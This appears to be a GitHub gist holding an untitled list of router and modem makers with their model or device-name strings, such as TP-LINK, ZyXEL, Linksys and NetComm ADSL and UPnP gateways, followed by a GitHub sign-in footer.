- DSL-526B
- DVA-G3672B-LTT Networks ADSL Router
- DVA-G3672B Networks ADSL Router
DQ
- ADSL Router
DQ Technology, Inc.
- ADSL2+ 11n WiFi CPE
- ADSL2+ CPE
- DSL-2542BNetworksADSLRouter
- DSL-2642BNetworksADSLRouter
- DSL-2730BNetworksADSLRouter
- DSL-2730UNetworksADSLRouter
DSL
- ARouter
- DSLRouter
- TW ARouter
Dynalink
- ADSL2+ Router
- ADSL2+ Wireless Modem Router
- Wireless ADSL2+ Router
ENKOM
- AMIS Router
FAMNET
- ADSL Router
FiberHome
- ADSL Router
- Broadcom ADSL Router
Glitel
- Broadcom ADSL Router
gmesh
- ADSL Router
huaqin
- HGU421 Router
- HGU421 v3 Router
Huawei-3Com
- BR204+
Huawei
- Echolife ADSL Router
- EchoLife Home Gateway
- HG227
- ADSL Router
- Residential Gateway Device
Huawei Technologies Co., Ltd
- EchoLife HG520
iBall Baton
- 150M Wireless-N ADSL2+ Router
iiNet
- BoB2
- BoBLite
Innoband
- DSL Router
Inteno
- Broadcom ADSL Router
- DSL Router
- Residential Gateway
Intercross
- Broadcom ADSL Router
- InternetGatewayDevice
IskraTEL
- Broadcom ADSL Router
ITI Ltd.
- ITI ADSL2+ Modem/Wireless Router
- ITI Ltd.ADSL2Plus Modem/Router
K?NIG
- ADSL2/2+ Modem Router
- ADSL2/2+ Modem Router
Kunhar Peripherals Pvt Ltd
- 54M Wireless ADSL2+ router
LevelOne
- FBR-1461B
Linksys by Cisco
- Linksys WRT54G
- Linksys WRT54GL
Linksys Inc.
- DD-WRT Router (X.X.X.X)
- Linksys MA568243
- Linksys ma890673
- Linksys WRT150N
- Linksys WRT54GL
- Linksys WRT54GS-PC
- Linksys wrt54gs v4
- Linksys WRT54GS (X.X.X.X)
- Residential Gateway Device
Linksys
- Internet Gateway Device
- Wireless Router
MAXON
- Residential Gateway Device
MEDIACOM Wireless-N ADSL2+ Router
MEDIACOM Wireless-N ADSL2+ Router - ADSL2+ Router
Micronet Communications Inc.
- Micronet WLAN ADSL2+ Modem Router
Micro-Star International
- Residential Gateway Device
Minitar Corporation
- Residential Gateway Device
Motorola
- Residential Gateway Device
NB
- DSL-2740B
NetComm
- Broadcom ADSL Router
NetComm Limited
- NetComm ADSL2+ Router
- NetComm ADSL2+ Wireless Router
- 11n Wireless ADSL2+ Router
- 11n Wireless ADSL Router
- Netcomm ADSL2+/3G Wi-Fi Router
- ADSL2+ Router
- ADSL2+ Wireless Router
- NB6 ADSL2+ Router
- NB6Plus4W ADSL2+ Wireless Modem Router
- NB6PLUS4W Wireless ADSL2+ Router
- NB6W Wireless ADSL2+ Router
- WiFi Data and VoIP Gateway
NetComm Wireless Limited
- NetComm ADSL2+ Router
- NetComm ADSL2+ Wireless Router
Netgear
- Broadcom ADSL Router
- ADSL2+ Router
- ADSL Router
- RP614v4
Neuf Telecom
- Trio4
NewMedia-NET GmbH
- DD-WRT Router (X.X.X.X)
OPTICOM
- DSLink 279
Orcon
- Genius
- GeniusLite
- Orcon
- P-660HN-51
PENTAGRAM
- home.gateway
PhoebeMicro
- Internet Gateway Device
Pirelli
- ADSL Router
Pirelli Broadband Solutions
- HomeStation ADSL Router
PLANET
- ADN-4000
Planex
- BLW-54CW
- Internet Gateway Device
QTECH
-
- Broadcom ADSL Router
- QTECH
- Residential Gateway
- ResidentialGatewayDevice
ROTAL
- Wireless ADSL2+ Router
Router
- ADSL Router
- Router
Sagem
- AFAQ DSL SHAMEL ROUTER
Sagemcom
- ADSL Router
- ADSL Router
SemIndia Systems Private Ltd.
- SemIndia ADSL2Plus Modem/Router
SemIndia Systems Pvt. Ltd.
- SemIndia Systems ADSL2Plus Modem Router
- SemIndia Systems ADSL2Plus Modem/Wireless Router
SIEMENS
- alice.box
Siemens
- ADSL SL2-141
- ADSL SL2-141-I
- Gigaset SE515B
- SL2-141-I
SimpleTech
- OdenShare
- SimpleShare
Sinus
- 1054 DSL
SmartLink
- ADSL Router
Sparklan
- Internet Gateway Device
Speedport
- 500V
- W 500V
Starbridge Networks
- Broadcom ADSL Router
Star-Net
- Broadcom ADSL Router
STAR-NET
- Broadcom ADSL Router
Sveasoft Inc.
- Residential Gateway Device
TARGA WR 500 VoIP
- TARGA WR 500 VoIP
Tecom
- DSL Router
TeleWell Oy (http://www.telewell.fi)
TeleWell Oy (http://www.telewell.fi) - TeleWell.gateway
Telsey
- ADSL Router
TELUS
- VSG1432
Tenda
- ADSL2/2+ Modem Router
Tenda/Imex
- W150D
Tenda/lmex
- ADSL2+ Ethernet Modem Router
- ADSL Router
- Gateway
TOPTRONICS
- ADSL Router
TP-LINK
- ADSL Router
- 54M Wireless ADSL2+ router
- ADSL2+ Modem Router
- ADSL2+ Router
- ADSL2+ Router Modem
- ADSL Router
- Wireless ADSL2+ Modem Router
- Wireless ADSL2+ router
- Wireless ADSL2+ Router
- Wireless N ADSL2+ Modem Router TD-W8960N
U.S. Robotics Corporation
- Internet Gateway Device
U.S. Robotics
- USRobotics ADSL2+ Router
- ADSL 4 Port Router
- ADSL 4-Port Router
- USR8561
UTStarcom Inc.
- UTStarcom ADSL2+ Modem Router
UTstarcom Inc.
- UTstarcom ADSL2+ Modem/Wireless Router
- UTStarcom ADSL2+ Modem/Wireless Router
- VSG1432-B101
- VSG1435-B101
WIN
- eNet660S
WorldNet
- ADSL Router
XAVi
- DSL Router
Zhone Technologies.
- UPnP v1.0
Zhone
- Gateway
- Wireless Gateway
ZISA
- ADSL Router
ZTE
- ADSL Router
- Broadcom ADSL Router
ZTE Corporation
- ZXDSL 931 Series Device
- Home Gateway
- ZXDSL 531B
ZyXEL Communication Crop.
- P-870H-51A V2 UPnP
- P-870H-51b UPnP
- P-870H-53A V2 UPnP
- P-870HN-51b UPnP
- P-870HN-51D UPnP
- P-870HN-53b UPnP
- P-870HNU-51b
- VSG1435-B101
- Wireless Broadband Router
- ZyXEL UPnP v1.0
ZyXEL
- P-660HN-51
- P-870HN-53b
- P-873HNU-51B
- P-873HNUP-51B
- Qwest TR-064 v1.0
- VMG1312-B30A
- VSG1432-B101
- VSG1435-B101
- ADSL Router
- TR64 Router
- UPnP Router
- VDSL Router
ZYXEL
- ZyXEL VDSL Router
- xDSL Router
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment